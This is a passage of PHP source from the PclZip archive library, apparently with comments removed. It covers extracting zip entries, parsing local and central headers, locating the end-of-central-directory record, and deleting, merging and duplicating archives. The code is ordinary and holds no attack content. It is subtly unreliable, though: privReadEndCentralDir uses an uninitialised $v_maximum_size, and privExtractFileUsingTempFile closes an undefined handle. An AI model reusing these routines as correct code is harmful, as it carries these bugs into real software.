	        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

              PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
		             "Newer version of '".$p_entry['filename']."' exists "
				    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");

              return PclZip::errorCode();
	      }
	    }
    }
    else {
    }
  }

  else {
    if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
      $v_dir_to_check = $p_entry['filename'];
    else if (!strstr($p_entry['filename'], "/"))
      $v_dir_to_check = "";
    else
      $v_dir_to_check = dirname($p_entry['filename']);

      if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {

        $p_entry['status'] = "path_creation_fail";

        $v_result = 1;
      }
    }
  }

  if ($p_entry['status'] == 'ok') {

    if (!(($p_entry['external']&0x00000010)==0x00000010))
    {
      if ($p_entry['compression'] == 0) {

        if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
        {

          $p_entry['status'] = "write_error";

          return $v_result;
        }


        $v_size = $p_entry['compressed_size'];
        while ($v_size != 0)
        {
          $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
          $v_buffer = @fread($this->zip_fd, $v_read_size);
          @fwrite($v_dest_file, $v_buffer, $v_read_size);            
          $v_size -= $v_read_size;
        }

        fclose($v_dest_file);

        touch($p_entry['filename'], $p_entry['mtime']);
        

      }
      else {
        if (($p_entry['flag'] & 1) == 1) {
          PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
          return PclZip::errorCode();
        }


        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) 
            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
          $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
          if ($v_result < PCLZIP_ERR_NO_ERROR) {
            return $v_result;
          }
        }
        
        else {

        
          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
          
          $v_file_content = @gzinflate($v_buffer);
          unset($v_buffer);
          if ($v_file_content === FALSE) {

            $p_entry['status'] = "error";
            
            return $v_result;
          }
          
          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {

            $p_entry['status'] = "write_error";

            return $v_result;
          }

          @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
          unset($v_file_content);

          @fclose($v_dest_file);
          
        }

        @touch($p_entry['filename'], $p_entry['mtime']);
      }

      if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {

        @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
      }

    }
  }

	if ($p_entry['status'] == "aborted") {
      $p_entry['status'] = "skipped";
	}

  elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

    if ($v_result == 2) {
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }
  }

  return $v_result;
}

function privExtractFileUsingTempFile(&$p_entry, &$p_options)
{
  $v_result=1;
      
  $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
  if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
    fclose($v_file);
    PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
    return PclZip::errorCode();
  }


  $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
  @fwrite($v_dest_file, $v_binary_data, 10);

  $v_size = $p_entry['compressed_size'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($this->zip_fd, $v_read_size);
    @fwrite($v_dest_file, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
  @fwrite($v_dest_file, $v_binary_data, 8);

  @fclose($v_dest_file);

  if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
    $p_entry['status'] = "write_error";
    return $v_result;
  }

  if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
    @fclose($v_dest_file);
    $p_entry['status'] = "read_error";
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
    return PclZip::errorCode();
  }


  $v_size = $p_entry['size'];
  while ($v_size != 0) {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @gzread($v_src_file, $v_read_size);
    @fwrite($v_dest_file, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }
  @fclose($v_dest_file);
  @gzclose($v_src_file);

  @unlink($v_gzip_temp_name);
  
  return $v_result;
}

function privExtractFileInOutput(&$p_entry, &$p_options)
{
  $v_result=1;

  if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
    return $v_result;
  }


  if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  }

  if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
    if ($v_result == 0) {
      $p_entry['status'] = "skipped";
      $v_result = 1;
    }

    if ($v_result == 2) {
      $p_entry['status'] = "aborted";
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }

    $p_entry['filename'] = $v_local_header['filename'];
  }


  if ($p_entry['status'] == 'ok') {

    if (!(($p_entry['external']&0x00000010)==0x00000010)) {
      if ($p_entry['compressed_size'] == $p_entry['size']) {

        $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);

        echo $v_buffer;
        unset($v_buffer);
      }
      else {

        $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
        
        $v_file_content = gzinflate($v_buffer);
        unset($v_buffer);

        echo $v_file_content;
        unset($v_file_content);
      }
    }
  }

if ($p_entry['status'] == "aborted") {
    $p_entry['status'] = "skipped";
}

  elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

    if ($v_result == 2) {
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }
  }

  return $v_result;
}

function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
{
  $v_result=1;

  $v_header = array();
  if (($v_result = $this->privReadFileHeader($v_header)) != 1)
  {
    return $v_result;
  }


  if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  }

  if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

    $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
    if ($v_result == 0) {
      $p_entry['status'] = "skipped";
      $v_result = 1;
    }
    
    if ($v_result == 2) {
      $p_entry['status'] = "aborted";
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }

    $p_entry['filename'] = $v_local_header['filename'];
  }


  if ($p_entry['status'] == 'ok') {

    if (!(($p_entry['external']&0x00000010)==0x00000010)) {
      if ($p_entry['compression'] == 0) {

        $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
      }
      else {

        $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
        
        if (($p_string = @gzinflate($v_data)) === FALSE) {
        }
      }

    }
    else {
    }
    
  }

	if ($p_entry['status'] == "aborted") {
      $p_entry['status'] = "skipped";
	}

  elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

    $v_local_header = array();
    $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
    
    $v_local_header['content'] = $p_string;
    $p_string = '';

    $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

    $p_string = $v_local_header['content'];
    unset($v_local_header['content']);

    if ($v_result == 2) {
    	$v_result = PCLZIP_ERR_USER_ABORTED;
    }
  }

  return $v_result;
}

function privReadFileHeader(&$p_header)
{
  $v_result=1;

  $v_binary_data = @fread($this->zip_fd, 4);
  $v_data = unpack('Vid', $v_binary_data);

  if ($v_data['id'] != 0x04034b50)
  {

    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

    return PclZip::errorCode();
  }

  $v_binary_data = fread($this->zip_fd, 26);

  if (strlen($v_binary_data) != 26)
  {
    $p_header['filename'] = "";
    $p_header['status'] = "invalid_header";

    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

    return PclZip::errorCode();
  }

  $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);

  $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);

  if ($v_data['extra_len'] != 0) {
    $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
  }
  else {
    $p_header['extra'] = '';
  }

  $p_header['version_extracted'] = $v_data['version'];
  $p_header['compression'] = $v_data['compression'];
  $p_header['size'] = $v_data['size'];
  $p_header['compressed_size'] = $v_data['compressed_size'];
  $p_header['crc'] = $v_data['crc'];
  $p_header['flag'] = $v_data['flag'];
  $p_header['filename_len'] = $v_data['filename_len'];

  $p_header['mdate'] = $v_data['mdate'];
  $p_header['mtime'] = $v_data['mtime'];
  if ($p_header['mdate'] && $p_header['mtime'])
  {
    $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
    $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
    $v_seconde = ($p_header['mtime'] & 0x001F)*2;

    $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
    $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
    $v_day = $p_header['mdate'] & 0x001F;

    $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

  }
  else
  {
    $p_header['mtime'] = time();
  }


  $p_header['stored_filename'] = $p_header['filename'];

  $p_header['status'] = "ok";

  return $v_result;
}

function privReadCentralFileHeader(&$p_header)
{
  $v_result=1;

  $v_binary_data = @fread($this->zip_fd, 4);
  $v_data = unpack('Vid', $v_binary_data);

  if ($v_data['id'] != 0x02014b50)
  {

    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

    return PclZip::errorCode();
  }

  $v_binary_data = fread($this->zip_fd, 42);

  if (strlen($v_binary_data) != 42)
  {
    $p_header['filename'] = "";
    $p_header['status'] = "invalid_header";

    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

    return PclZip::errorCode();
  }

  $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);

  if ($p_header['filename_len'] != 0)
    $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
  else
    $p_header['filename'] = '';

  if ($p_header['extra_len'] != 0)
    $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
  else
    $p_header['extra'] = '';

  if ($p_header['comment_len'] != 0)
    $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
  else
    $p_header['comment'] = '';

  if (1)
  {
    $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
    $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
    $v_seconde = ($p_header['mtime'] & 0x001F)*2;

    $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
    $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
    $v_day = $p_header['mdate'] & 0x001F;

    $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

  }
  else
  {
    $p_header['mtime'] = time();
  }

  $p_header['stored_filename'] = $p_header['filename'];

  $p_header['status'] = 'ok';

  if (substr($p_header['filename'], -1) == '/') {
    $p_header['external'] = 0x00000010;
  }


  return $v_result;
}

function privCheckFileHeaders(&$p_local_header, &$p_central_header)
{
  $v_result=1;

	if ($p_local_header['filename'] != $p_central_header['filename']) {
	}
	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
	}
	if ($p_local_header['flag'] != $p_central_header['flag']) {
	}
	if ($p_local_header['compression'] != $p_central_header['compression']) {
	}
	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
	}
	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
	}

	if (($p_local_header['flag'] & 8) == 8) {
        $p_local_header['size'] = $p_central_header['size'];
        $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
        $p_local_header['crc'] = $p_central_header['crc'];
	}

  return $v_result;
}

function privReadEndCentralDir(&$p_central_dir)
{
  $v_result=1;

  $v_size = filesize($this->zipname);
  @fseek($this->zip_fd, $v_size);
  if (@ftell($this->zip_fd) != $v_size)
  {
    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');

    return PclZip::errorCode();
  }

  $v_found = 0;
  if ($v_size > 26) {
    @fseek($this->zip_fd, $v_size-22);
    if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
    {
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

      return PclZip::errorCode();
    }

    $v_binary_data = @fread($this->zip_fd, 4);
    $v_data = @unpack('Vid', $v_binary_data);

    if ($v_data['id'] == 0x06054b50) {
      $v_found = 1;
    }

    $v_pos = ftell($this->zip_fd);
  }

  if (!$v_found) {
    if ($v_maximum_size > $v_size)
      $v_maximum_size = $v_size;
    @fseek($this->zip_fd, $v_size-$v_maximum_size);
    if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
    {
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

      return PclZip::errorCode();
    }

    $v_pos = ftell($this->zip_fd);
    $v_bytes = 0x00000000;
    while ($v_pos < $v_size)
    {
      $v_byte = @fread($this->zip_fd, 1);

      $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); 

      if ($v_bytes == 0x504b0506)
      {
        $v_pos++;
        break;
      }

      $v_pos++;
    }

    if ($v_pos == $v_size)
    {

      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");

      return PclZip::errorCode();
    }
  }

  $v_binary_data = fread($this->zip_fd, 18);

  if (strlen($v_binary_data) != 18)
  {

    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));

    return PclZip::errorCode();
  }

  $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);

  if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {

  if (0) {
    PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
                       'The central dir is not at the end of the archive.'
					   .' Some trailing bytes exists after the archive.');

    return PclZip::errorCode();
  }
  }

  if ($v_data['comment_size'] != 0) {
    $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
  }
  else
    $p_central_dir['comment'] = '';

  $p_central_dir['entries'] = $v_data['entries'];
  $p_central_dir['disk_entries'] = $v_data['disk_entries'];
  $p_central_dir['offset'] = $v_data['offset'];
  $p_central_dir['size'] = $v_data['size'];
  $p_central_dir['disk'] = $v_data['disk'];
  $p_central_dir['disk_start'] = $v_data['disk_start'];


  return $v_result;
}

function privDeleteByRule(&$p_result_list, &$p_options)
{
  $v_result=1;
  $v_list_detail = array();

  if (($v_result=$this->privOpenFd('rb')) != 1)
  {
    return $v_result;
  }

  $v_central_dir = array();
  if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  {
    $this->privCloseFd();
    return $v_result;
  }

  @rewind($this->zip_fd);

  $v_pos_entry = $v_central_dir['offset'];
  @rewind($this->zip_fd);
  if (@fseek($this->zip_fd, $v_pos_entry))
  {
    $this->privCloseFd();

    PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

    return PclZip::errorCode();
  }

  $v_header_list = array();
  $j_start = 0;
  for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
  {

    $v_header_list[$v_nb_extracted] = array();
    if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
    {
      $this->privCloseFd();

      return $v_result;
    }


    $v_header_list[$v_nb_extracted]['index'] = $i;

    $v_found = false;

    if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
        && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

        for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {

            if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                    && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                    $v_found = true;
                }
                elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) 
                        && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                    $v_found = true;
                }
            }
            elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                $v_found = true;
            }
        }
    }


    else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
             && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

        if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
            $v_found = true;
        }
    }

    else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
             && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

        for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {

            if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                $v_found = true;
            }
            if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                $j_start = $j+1;
            }

            if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                break;
            }
        }
    }
    else {
    	$v_found = true;
    }

    if ($v_found)
    {
      unset($v_header_list[$v_nb_extracted]);
    }
    else
    {
      $v_nb_extracted++;
    }
  }

  if ($v_nb_extracted > 0) {

      $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

      $v_temp_zip = new PclZip($v_zip_temp_name);

      if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
          $this->privCloseFd();

          return $v_result;
      }

      for ($i=0; $i<sizeof($v_header_list); $i++) {

          @rewind($this->zip_fd);
          if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
              $this->privCloseFd();
              $v_temp_zip->privCloseFd();
              @unlink($v_zip_temp_name);

              PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

              return PclZip::errorCode();
          }

          $v_local_header = array();
          if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
              $this->privCloseFd();
              $v_temp_zip->privCloseFd();
              @unlink($v_zip_temp_name);

              return $v_result;
          }
          
          if ($this->privCheckFileHeaders($v_local_header,
		                                $v_header_list[$i]) != 1) {
          }
          unset($v_local_header);

          if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
              $this->privCloseFd();
              $v_temp_zip->privCloseFd();
              @unlink($v_zip_temp_name);

              return $v_result;
          }

          if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
              $this->privCloseFd();
              $v_temp_zip->privCloseFd();
              @unlink($v_zip_temp_name);

              return $v_result;
          }
      }

      $v_offset = @ftell($v_temp_zip->zip_fd);

      for ($i=0; $i<sizeof($v_header_list); $i++) {
          if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
              $v_temp_zip->privCloseFd();
              $this->privCloseFd();
              @unlink($v_zip_temp_name);

              return $v_result;
          }

          $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
      }


      $v_comment = '';
      if (isset($p_options[PCLZIP_OPT_COMMENT])) {
        $v_comment = $p_options[PCLZIP_OPT_COMMENT];
      }

      $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;

      if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
          unset($v_header_list);
          $v_temp_zip->privCloseFd();
          $this->privCloseFd();
          @unlink($v_zip_temp_name);

          return $v_result;
      }

      $v_temp_zip->privCloseFd();
      $this->privCloseFd();

      @unlink($this->zipname);

      PclZipUtilRename($v_zip_temp_name, $this->zipname);
  
      unset($v_temp_zip);
  }
  
  else if ($v_central_dir['entries'] != 0) {
      $this->privCloseFd();

      if (($v_result = $this->privOpenFd('wb')) != 1) {
        return $v_result;
      }

      if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
        return $v_result;
      }

      $this->privCloseFd();
  }

  return $v_result;
}

function privDirCheck($p_dir, $p_is_dir=false)
{
  $v_result = 1;


  if (($p_is_dir) && (substr($p_dir, -1)=='/'))
  {
    $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
  }

  if ((is_dir($p_dir)) || ($p_dir == ""))
  {
    return 1;
  }

  $p_parent_dir = dirname($p_dir);

  if ($p_parent_dir != $p_dir)
  {
    if ($p_parent_dir != "")
    {
      if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
      {
        return $v_result;
      }
    }
  }

  if (!@mkdir($p_dir, 0777))
  {
    PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");

    return PclZip::errorCode();
  }

  return $v_result;
}

function privMerge(&$p_archive_to_add)
{
  $v_result=1;

  if (!is_file($p_archive_to_add->zipname))
  {

    $v_result = 1;

    return $v_result;
  }

  if (!is_file($this->zipname))
  {

    $v_result = $this->privDuplicate($p_archive_to_add->zipname);

    return $v_result;
  }

  if (($v_result=$this->privOpenFd('rb')) != 1)
  {
    return $v_result;
  }

  $v_central_dir = array();
  if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  {
    $this->privCloseFd();
    return $v_result;
  }

  @rewind($this->zip_fd);

  if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
  {
    $this->privCloseFd();

    return $v_result;
  }

  $v_central_dir_to_add = array();
  if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
  {
    $this->privCloseFd();
    $p_archive_to_add->privCloseFd();

    return $v_result;
  }

  @rewind($p_archive_to_add->zip_fd);

  $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

  if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
  {
    $this->privCloseFd();
    $p_archive_to_add->privCloseFd();

    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

    return PclZip::errorCode();
  }

  $v_size = $v_central_dir['offset'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = fread($this->zip_fd, $v_read_size);
    @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_size = $v_central_dir_to_add['offset'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
    @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_offset = @ftell($v_zip_temp_fd);

  $v_size = $v_central_dir['size'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($this->zip_fd, $v_read_size);
    @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_size = $v_central_dir_to_add['size'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
    @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];

  $v_size = @ftell($v_zip_temp_fd)-$v_offset;

  $v_swap = $this->zip_fd;
  $this->zip_fd = $v_zip_temp_fd;
  $v_zip_temp_fd = $v_swap;

  if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
  {
    $this->privCloseFd();
    $p_archive_to_add->privCloseFd();
    @fclose($v_zip_temp_fd);
    $this->zip_fd = null;

    unset($v_header_list);

    return $v_result;
  }

  $v_swap = $this->zip_fd;
  $this->zip_fd = $v_zip_temp_fd;
  $v_zip_temp_fd = $v_swap;

  $this->privCloseFd();
  $p_archive_to_add->privCloseFd();

  @fclose($v_zip_temp_fd);

  @unlink($this->zipname);

  PclZipUtilRename($v_zip_temp_name, $this->zipname);

  return $v_result;
}

function privDuplicate($p_archive_filename)
{
  $v_result=1;

  if (!is_file($p_archive_filename))
  {

    $v_result = 1;

    return $v_result;
  }

  if (($v_result=$this->privOpenFd('wb')) != 1)
  {
    return $v_result;
  }

  if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
  {
    $this->privCloseFd();

    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');

    return PclZip::errorCode();
  }

  $v_size = filesize($p_archive_filename);
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = fread($v_zip_temp_fd, $v_read_size);
    @fwrite($this->zip_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $this->privCloseFd();

  @fclose($v_zip_temp_fd);

  return $v_result;
}

function privErrorLog($p_error_code=0, $p_error_string='')
{
  if (PCLZIP_ERROR_EXTERNAL == 1) {
    PclError($p_error_code, $p_error_string);
  }
  else {
    $this->error_code = $p_error_code;
    $this->error_string = $p_error_string;
  }
}

function privErrorReset()
{
  if (PCLZIP_ERROR_EXTERNAL == 1) {
    PclErrorReset();
  }
  else {
    $this->error_code = 0;
    $this->error_string = '';
  }
}

function privDisableMagicQuotes()
{
  $v_result=1;

  if (   (!function_exists("get_magic_quotes_runtime"))
    || (!function_exists("set_magic_quotes_runtime"))) {
    return $v_result;
}

  if ($this->magic_quotes_status != -1) {
    return $v_result;
}

$this->magic_quotes_status = @get_magic_quotes_runtime();

if ($this->magic_quotes_status == 1) {
  @set_magic_quotes_runtime(0);
}

  return $v_result;
}

function privSwapBackMagicQuotes()
{
  $v_result=1;

  if (   (!function_exists("get_magic_quotes_runtime"))
    || (!function_exists("set_magic_quotes_runtime"))) {
    return $v_result;
}

  if ($this->magic_quotes_status != -1) {
    return $v_result;
}

if ($this->magic_quotes_status == 1) {
	  @set_magic_quotes_runtime($this->magic_quotes_status);
}

  return $v_result;
}

}

function PclZipUtilPathReduction($p_dir)
{
  $v_result = "";

  if ($p_dir != "") {
    $v_list = explode("/", $p_dir);

    $v_skip = 0;
    for ($i=sizeof($v_list)-1; $i>=0; $i--) {
      if ($v_list[$i] == ".") {
      }
      else if ($v_list[$i] == "..") {
	  $v_skip++;
      }
      else if ($v_list[$i] == "") {
	  if ($i == 0) {
          $v_result = "/".$v_result;
	    if ($v_skip > 0) {
	        $v_result = $p_dir;
              $v_skip = 0;
	    }
	  }
	  else if ($i == (sizeof($v_list)-1)) {
          $v_result = $v_list[$i];
	  }
	  else {
	  }
      }
      else {
	  if ($v_skip > 0) {
	    $v_skip--;
	  }
	  else {
          $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
	  }
